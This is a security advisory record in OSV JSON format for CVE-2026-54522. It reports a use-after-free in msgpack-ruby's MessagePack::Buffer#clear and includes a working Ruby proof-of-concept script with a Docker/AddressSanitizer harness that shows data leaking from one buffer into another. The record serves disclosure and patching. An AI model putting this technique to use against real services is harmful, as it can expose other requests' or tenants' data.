Files
vuln-osv/data/RubyGems/GHSA-4mrv-5p47-p938.json

1 line
5.9 KiB
JSON
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-4mrv-5p47-p938","published":"2026-07-30T16:33:12Z","modified":"2026-09-10T03:51:10.426858154Z","aliases":["CVE-2026-54522"],"summary":"MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure","details":"### Summary\n`MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees \"unused rmem space\" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).\n\n### Details\n- `msgpack_buffer_clear()` → `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page.\n- Next `Buffer#write` → `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b->rmem_last`, a pointer into the already-freed page.\n- A second buffer's first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool → the two buffers alias the same memory.\n- Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.\n\n### PoC\nSingle self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):\n\n```bash\nset -e\nWORK=\"$(mktemp -d)\"; cd \"$WORK\"\n\n# 1) PoC\ncat > poc.rb <<'RUBY'\nb1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)\nb1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)\nb1.clear\nb1.write('C' * 128)\nsecret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)\nb2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)\nb2.write(secret)\nleaked = b1.read_all\ndonor = b2.read_all\nputs 'b1_first64:' + leaked.byteslice(0, 64)\nputs 'b2_donor64:' + donor.byteslice(200, 64)\nputs 'leaked_is_C:' + (leaked == 'C' * 128).to_s\nputs 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s\nRUBY\n\n# 2) ASAN build of msgpackfrom rubygems\ncat > Dockerfile <<'DOCKER'\nFROM ruby:3.3-bookworm\nRUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*\nRUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \\\n cd msgpack-1.8.1/ext/msgpack && \\\n MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \\\n make -j\"$(nproc)\" && cp msgpack.so ../../lib/msgpack/msgpack.so\nDOCKER\ndocker build -t msgpack-asan-poc .\n\n# 3) Run under ASAN\ndocker run --rm -v \"$WORK/poc.rb:/poc.rb:ro\" msgpack-asan-poc \\\n bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'\n```\n\nExpected output:\n```\nb1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nb2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nleaked_is_C:false\ncross_buffer_match:true\n```\n\n### Impact\nSame-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low–Medium**; clear memory-safety defect with a small, localized fix.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))","affected":[{"package":{"name":"msgpack","ecosystem":"RubyGems","purl":"pkg:gem/msgpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.2"}]}],"versions":["0.0.1","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.5.0","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.0pre1","0.6.1","0.6.2","0.7.0","0.7.0dev1","0.7.1","0.7.2","0.7.2dev1","0.7.3","0.7.4","0.7.5","0.7.6","1.0.0","1.0.1","1.0.2","1.0.3","1.1.0","1.2.0","1.2.1","1.2.10","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.1","1.3.2","1.3.3","1.4.0","1.4.0.pre1","1.4.1","1.4.2","1.4.3","1.4.4","1.4.4.pre1","1.4.5","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.6.0","1.6.1","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.8.0","1.8.1"],"database_specific":{"last_known_affected_version_range":"<= 1.8.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-4mrv-5p47-p938/GHSA-4mrv-5p47-p938.json"}}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-ruby"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml"},{"type":"WEB","url":"https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54522"}],"database_specific":{"cwe_ids":["CWE-416"],"github_reviewed":true,"github_reviewed_at":"2026-07-30T16:33:12Z","nvd_published_at":null,"severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}]}